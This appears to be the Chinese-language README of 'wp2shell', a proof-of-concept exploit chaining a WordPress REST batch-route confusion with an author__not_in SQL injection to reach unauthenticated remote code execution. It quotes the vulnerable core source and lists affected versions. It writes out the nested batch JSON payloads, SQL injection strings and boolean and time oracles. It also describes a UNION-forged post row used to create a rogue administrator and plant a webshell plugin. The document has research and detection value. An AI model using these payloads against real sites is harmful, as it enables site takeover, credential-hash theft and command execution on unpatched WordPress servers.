CVE-2026-63030 + CVE-2026-60137 - “wp2shell”:WordPress 核心中的未认证 RCE
REST API 批量路由混淆(CVE-2026-63030)与
WP_Queryauthor__not_inSQL 注入(CVE-2026-60137)→ 针对默认 WordPress 安装的预认证远程 代码执行。由 Adam Kues(Assetnote / Searchlight Cyber)发现,披露于 2026-07-17。公告:GHSA-ff9f-jf42-662q、 GHSA-fpp7-x2x2-2mjf。
| 漏洞链(未认证 RCE) | WordPress 6.9.0 - 6.9.4 和 7.0.0 - 7.0.1 |
| 仅 SQLi(需要辅助插件/主题) | 6.8.0 - 6.8.5 |
| 不受影响 | ≤ 6.8(针对批量混淆);6.9.5 / 7.0.2 / 7.1-beta2(已修补) |
| 前置条件 | REST API 可达;无持久化对象缓存(Redis/Memcached);≥1 篇已发布文章 |
| 所需认证 | 无 |
| 影响 | 未认证 → 创建新管理员 → 代码执行(SQLi 还能转储管理员哈希) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests 依赖,也无残缺功能。shell 在无凭据的情况下,通过单文章 UNION 混淆伪造一个假的 WP_Post,桥接定制器以创建全新管理员(POST /wp/v2/users),登录后植入令牌门控的 WebShell。SQLi 管理员哈希转储(read --preset users)作为第二条已验证路径保留。block_cannot_read),用作主要的非破坏性 check。sqli),其他 PoC 均不具备。$wp$2y$ 密码哈希的 hashcat 模式(-m 35500)。wp2shell/
├── README.md ← you are here
├── wp2shell.py ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/ ← reproducible Docker labs + reliability matrix
├── docker-compose.yml (default 6.9.4 lab)
├── docker-compose.matrix.yml (parameterised: any version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "SQLi only" lab)
├── matrix.sh (runs the whole reliability matrix)
└── sqli-only/facilitator.php (mu-plugin: the 6.8.x facilitating sink)
本工具借鉴的六个公开 PoC 未在此处内置;它们链接在致谢中。
以下所有内容均在本地 Docker 实验室中验证(见第 4 节);未在实验室中运行的声明均已标注。
该漏洞链组合了两个独立的缺陷。行号来自真实的 WordPress 6.9.4 源码(从 wordpress:6.9.4-apache 提取)。
author__not_in SQL 注入(CVE-2026-60137)wp-includes/class-wp-query.php,WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guard only fires for ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passes straight through
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← raw interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INSIDE implode
字符串形式的 author__not_in 会跳过 is_array() 检查(2404);implode(',', (array)"…") 会原样返回它(2408),并直接拼接到 SQL(2409)中。其姊妹参数 author__in(2415)在 implode 内部 重新应用了 array_map('absint', …),因此是安全的——缺失的那个 array_map 就是漏洞所在。该值最终以 ... post_author NOT IN (<value>) ... 形式落地,因此 0) <sql>-- - 可闭合列表并附加 SQL。
困难之处在于传入字符串:REST 文章端点将 author_exclude → author__not_in(class-wp-rest-posts-controller.php:247)映射,但将其声明为整数数组 'type' => 'array',因此核心会强制转换/拒绝字符串:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verified on 6.8.3)
这就是为什么单独的缺陷 A 仅属于“辅助型”。缺陷 B 在 6.9+ 上让该字符串偷渡通过了验证。
wp-includes/rest-api/class-wp-rest-server.php,serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // a bad path becomes a WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← pushed to $validation …
1753 continue; // ← … but $matches is SKIPPED
1754 }
1757 $matches[] = $match; // ← $matches only grows for VALID requests
1825 foreach ( $requests as $i => $single_request ) { // indexed by position in $requests
1841 $match = $matches[ $i ]; // ← $matches is SHORTER → +1 shift
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
一个 WP_Error 子请求会被推入 $validation[](1752),但不会被推入 $matches[](1753 处的 continue 跳过了 1757),因此 $matches 会变短,$matches[$i](1841)持有的是下一个请求的处理程序。请求 i 携带自身的参数和自身(已通过的)验证结论,交由请求 i+1 的处理程序分发。
回归根源(经 6.8.3 → 6.9.4 差异验证): 在 6.8.3 中,循环针对每个请求都会推入 $matches[] = $match,坏路径会在第一个循环中被丢弃——数组保持对齐,不会失步。6.9.0 的重构引入了偏移。这正是 6.8.x 仅存在“SQLi”而 RCE 链始于 6.9.0 的原因。
该补丁同样为错误条目追加 $matches[],加固了重入(re-entrancy),并使用 id 列表辅助函数解析 author__not_in。(测试时 6.9.5 尚未出现在 Docker Hub 上,因此这来自公告,而非实验室差异分析。)
批量模式仅允许 POST/PUT/PATCH/DELETE 子请求,但文章的 get_items(即 author_exclude 汇聚点)仅支持 GET,因此混淆被嵌套两次:
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] bad path → WP_Error → +1 shift
{"method":"POST","path":"/wp/v2/posts", // [1] carrier: validated as a posts CREATE →
"body": { /* INNER batch */ }}, // its `requests` body is never schema-checked
{"method":"POST","path":"/batch/v1", // [2] handler → [1] dispatched as serve_batch_request_v1
"body":{"requests":[]}} // (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
// [0] POST /// WP_Error → inner +1 shift
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users has no author_exclude → PAYLOAD passes untouched
// [2] GET /wp/v2/posts [2]'s handler = posts get_items → runs [1] → SQLi
/// 是失步启动器(任何被 wp_parse_url() 拒绝的路径都可用)。该工具还提供同一技巧的 --variant categories 版本。
一个非破坏性的、与版本无关的探针即可确认 CVE-2026-63030,即使 SQLi 汇聚点被对象缓存或 WAF 过滤:在一批 POST 子请求中,失步使得 POST /wp/v2/posts 由区块渲染器的权限回调来响应:
responses[1].code == "block_cannot_read" ← a permission error from a handler it never asked for
wp2shell.py check 将此用作主要信号(以文章与分类的结构形态作为后备)。(检测技术:Hadrian / Icex0。)
该值位于 NOT IN (<value>) 内部,这是一个干净的布尔预言机:当且仅当 <cond> 成立时,0) AND (<cond>)-- - 返回行。提取方式是对 ASCII(SUBSTRING(COALESCE((expr),''),n,1)) 进行逐字符二分搜索(COALESCE 可防止 NULL 短路导致空读取)。
实验室说明 - 基于时间的注入需谨慎。 在默认安装下,朴素的
0) OR SLEEP(n)-- -不会产生延迟:已发布的文章行首先满足查询并使OR短路。确认方式采用确定性的布尔差异;计时使用0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -。实测 0.01 秒对比 3.04 秒。
实用的 RCE 无需密码、无需破解。shell 在无凭据的情况下即可运行完整漏洞链,全部已在实验室验证:
WP_Post 原语。 另一种混淆变体可到达一个干净、可 UNION 的查询:/wp/v2/posts/999999?orderby=none&per_page=500 按单文章条目模式进行校验(因此仅限集合的参数会不加检查地通过),随后失步到文章集合处理程序上。orderby=none 会移除尾部的 ORDER BY,而 per_page=500 使 WP_Query 保持全行模式,因此 UNION SELECT 可以作为一个伪造的 wp_posts 行存活。oembed_cache + customize_changeset(其 user_id 设为现有管理员的 ID,通过 UNION 读取)+ nav_menu_item 行。触发 oEmbed 可使定制器变更集以该管理员身份运行。roles:["administrator"] 的 POST /wp/v2/users 在借用的管理员上下文下即可成功,一个新的 wp2_* 管理员会出现在 wp_users 中(已验证:新增了一行管理员记录)。update.php?action=upload-plugin 上传令牌门控插件并执行命令。已验证:uid=33(www-data)。